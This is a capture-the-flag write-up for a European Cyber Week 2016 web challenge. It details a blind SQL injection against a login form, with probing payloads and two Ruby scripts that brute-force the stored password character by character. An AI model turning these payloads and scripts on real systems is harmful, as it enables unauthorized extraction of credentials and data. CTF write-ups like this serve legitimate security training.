Information#
Version#
By | Version | Comment |
---|---|---|
noraj | 1.0 | Creation |
CTF#
- Name : European Cyber Week CTF Quals 2016
- Website : challenge-ecw.fr
- Type : Online
- Format : Jeopardy - Student
Description#
N.A.
Solution#
This is a blind SQL injection and Out-Of-Band (OOB) channel exfiltration is not working.
When giving a correct (well formed) SQLi we get the message: Authentification valide. Le mot de passe est le flag.
.
So we are able to determine if a request is true or false.
So the following requests gave us some details about the DB:
' or 1=1 #
=> MySQL Database' or substring(version(),1,1)=5 #
=> MySQL 5' or (select 1)=1 #
=> subselect supported' or (select substring(concat(1,password),1,1) limit 0,1)=1 #
=> column name is password
So our payload will be SELECT password
.
And here is the script I wrote :
#!/usr/bin/env ruby
require 'curb' # for get/post requests
hostname = 'https://challenge-ecw.fr/chals/web100'
nonce = 'myNonce'
c = Curl::Easy.new(hostname) do |curl|
curl.headers['Cookie'] = 'session=mySessionCookie'
curl.headers['Referer'] = hostname
curl.headers['Host'] = 'challenge-ecw.fr'
curl.headers['Connection'] = 'keep-alive'
curl.headers['Upgrade-Insecure-Requests'] = '1'
#curl.verbose = true
end # Curl
c.perform # send the request
if c.body_str.match(/Veuillez vous authentifier pour r/)
puts '• Connexion to ECW works'
end
# Request we want to know the answer
payload = 'SELECT password'
# Find the length of the password
length = 0
while true do
c.http_post(Curl::PostField.content('password', "' OR LENGTH((#{payload}))=#{length} #"),
Curl::PostField.content('nonce', nonce))
c.perform
if c.body_str.match(/Authentification valide\. Le mot de passe est le flag\./)
puts "Length: #{length}"
break
else
puts "Length: not #{length}"
length+=1
end
end
# Find each char of the password one by one
answer = ""
(1..length).each do |offset|
(32..126).each do |char|
c.http_post(Curl::PostField.content('password', "' OR ASCII(SUBSTRING((#{payload}),#{offset},1))=#{char} #"),
Curl::PostField.content('nonce', nonce))
c.perform
if c.body_str.match(/Authentification valide\. Le mot de passe est le flag\./)
answer.concat(char.chr)
puts "Password: #{answer}"
break
else
puts "Tried: #{answer}#{char.chr}"
end
end
end
We can optimize the time to get the password because we know that the flag is ECW{md5(string)}
and md5 hashes contains only lower letters and digits that is 32 chars long. So we can fix some parameters:
- Lenght of the password: 37
- Alphabet: ["a", "b", "c", "d", "e", "f", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "E", "C", "W", "{", "}"]
That give us the more optimized script:
#!/usr/bin/env ruby
require 'curb' # for get/post requests
hostname = 'https://challenge-ecw.fr/chals/web100'
nonce = 'myNonce'
c = Curl::Easy.new(hostname) do |curl|
curl.headers['Cookie'] = 'session=mySessionCookie'
curl.headers['Referer'] = hostname
curl.headers['Host'] = 'challenge-ecw.fr'
curl.headers['Connection'] = 'keep-alive'
curl.headers['Upgrade-Insecure-Requests'] = '1'
#curl.verbose = true
end # Curl
c.perform # send the request
if c.body_str.match(/Veuillez vous authentifier pour r/)
puts '• Connexion to ECW works'
end
# Request we want to know the answer
payload = 'SELECT password'
length = 37
# Find each char of the password one by one
answer = ""
ECW_flag_alphabet_array = ('a'..'f').to_a + (0.to_s..9.to_s).to_a + ['E', 'C', 'W', '{', '}']
(1..length).each do |offset|
ECW_flag_alphabet_array.each do |char|
c.http_post(Curl::PostField.content('password', "' OR ASCII(SUBSTRING((#{payload}),#{offset},1))=#{char.ord} #"),
Curl::PostField.content('nonce', nonce))
c.perform
if c.body_str.match(/Authentification valide\. Le mot de passe est le flag\./)
answer.concat(char)
puts "Password: #{answer}"
break
else
puts "Tried: #{answer}#{char}"
end
end
end
So we got the flag: ECW{d3832d5a1ef4c3bef82b87ced5f50e7d}
.
BONUS: I used my script to get the username:
SELECT user()
User: ecw@localhost